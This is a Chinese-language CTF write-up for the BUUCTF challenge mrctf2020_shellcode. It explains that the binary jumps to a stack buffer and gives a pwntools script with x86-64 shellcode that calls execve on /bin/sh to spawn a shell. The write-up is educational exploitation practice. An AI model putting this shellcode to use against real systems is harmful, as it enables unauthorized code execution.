BUUCTF--mrctf2020_shellcode1

这是一题64位的shellocde题,没啥花招入门题。看下保护:


有可执行的段。接着我们看看IDA:


主函数中无法反汇编,那么我们直接看汇编代码。其实很简单,通过系统调用执行puts函数,然后执行read函数。


正在我想如何覆盖返回地址的时候,发现题目直接帮你搞好了。取buf的的地址(栈上)然后跳转到buf位置执行代码。那么我们直接通过read函数构造shellcode就完成了:

python 复制代码
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io=process('./mrctf2020_shellcode')

shellcode = '''
    mov rbx,0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
'''


shellcode=asm(shellcode)

io.recvuntil("magic!")

io.sendline(shellcode)

io.interactive()
相关推荐
谢亮_vipxieliang5 小时前
Stream API 不是银弹:常见坑与性能建议
java·开发语言
迅猛龙办公室5 小时前
实现第一个python程序(HelloWorld)
开发语言·python
phltxy5 小时前
C 语言动态内存管理:从申请空间到安全释放
c语言·开发语言·ui
可乐鸡翅yeah_5 小时前
M3U8 防盗链 URL‑Token 签名,新手开发实操避坑
开发语言·javascript·ios·音视频·safari
ShineWinsu5 小时前
对于Redis:string类型的解析
java·c++·redis·分布式·缓存·面试·string
2603_965896625 小时前
JS原型与原型链|对象继承与实例底层原理
开发语言·javascript·原型模式
拉格朗日(Lagrange)6 小时前
【第2 章】WorkBuddy 从入门到高手
开发语言·python
yujunl6 小时前
在U9C订单列表上开放多个按钮层叠的问题解决
开发语言
喆星时瑜6 小时前
Win10/11 安装 R 与 RStudio 详细图文教程
开发语言·r语言·安装
心中有你02146 小时前
【路径规划】A*寻路算法最通俗易懂讲解(C语言完整实现+详细注释)
c语言·开发语言·算法